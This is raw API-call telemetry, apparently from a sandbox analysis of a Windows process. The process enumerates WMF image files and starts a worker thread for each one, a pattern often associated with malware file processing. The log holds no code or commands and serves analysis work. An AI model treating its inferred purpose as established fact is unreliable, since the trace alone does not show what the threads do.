	[0239.396] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1748, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152610.WMF", cAlternateFileName="")) returned 1
	[0239.396] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.397] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a00
	[0239.398] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.399] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2584, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152622.WMF", cAlternateFileName="")) returned 1
	[0239.399] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.400] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a04
	[0239.401] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.401] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6688, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152626.WMF", cAlternateFileName="")) returned 1
	[0239.401] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a08
	[0239.404] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.404] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x785c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152628.WMF", cAlternateFileName="")) returned 1
	[0239.404] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a0c
	[0239.406] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.407] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8774, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152688.WMF", cAlternateFileName="")) returned 1
	[0239.407] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.408] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a10
	[0239.409] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.409] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152690.WMF", cAlternateFileName="")) returned 1
	[0239.410] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.410] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e9b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a14
	[0239.412] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.412] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x544, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152694.WMF", cAlternateFileName="")) returned 1
	[0239.412] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.413] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ed210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a18
	[0239.450] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.451] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c98, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152696.WMF", cAlternateFileName="")) returned 1
	[0239.451] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.452] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a1c
	[0239.453] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.454] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152698.WMF", cAlternateFileName="")) returned 1
	[0239.454] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a20
	[0239.457] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.458] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152702.WMF", cAlternateFileName="")) returned 1
	[0239.458] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.459] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a24
	[0239.460] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.461] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x674, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152704.WMF", cAlternateFileName="")) returned 1
	[0239.461] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.462] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a28
	[0239.463] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.464] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x132c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152708.WMF", cAlternateFileName="")) returned 1
	[0239.464] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a2c
	[0239.466] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.467] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11e4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152716.WMF", cAlternateFileName="")) returned 1
	[0239.467] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.468] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a30
	[0239.469] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.471] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b6c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152722.WMF", cAlternateFileName="")) returned 1
	[0239.476] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.476] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a34
	[0239.478] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.479] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ec4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152876.WMF", cAlternateFileName="")) returned 1
	[0239.479] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a38
	[0239.482] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.482] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a28, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152878.WMF", cAlternateFileName="")) returned 1
	[0239.482] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a3c
	[0239.484] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.485] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2370, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152882.WMF", cAlternateFileName="")) returned 1
	[0239.485] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.486] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f08f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a40
	[0239.551] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.552] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b2c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152884.WMF", cAlternateFileName="")) returned 1
	[0239.552] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a44
	[0239.554] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.554] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152890.WMF", cAlternateFileName="")) returned 1
	[0239.554] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a48
	[0239.556] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.557] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29ac, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152892.WMF", cAlternateFileName="")) returned 1
	[0239.557] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a4c
	[0239.559] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.559] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c54, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152894.WMF", cAlternateFileName="")) returned 1
	[0239.559] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.560] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a50
	[0239.561] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.562] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1190, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152898.WMF", cAlternateFileName="")) returned 1
	[0239.562] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a54
	[0239.564] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.565] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x812c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153047.WMF", cAlternateFileName="")) returned 1
	[0239.565] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.565] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a58
	[0239.567] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.567] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153087.WMF", cAlternateFileName="")) returned 1
	[0239.568] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.568] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a5c
	[0239.570] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.570] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ea8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153089.WMF", cAlternateFileName="")) returned 1
	[0239.570] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.571] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a60
	[0239.573] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.573] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153091.WMF", cAlternateFileName="")) returned 1
	[0239.573] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a64
	[0239.576] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.576] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153093.WMF", cAlternateFileName="")) returned 1
	[0239.576] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a68
	[0239.578] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
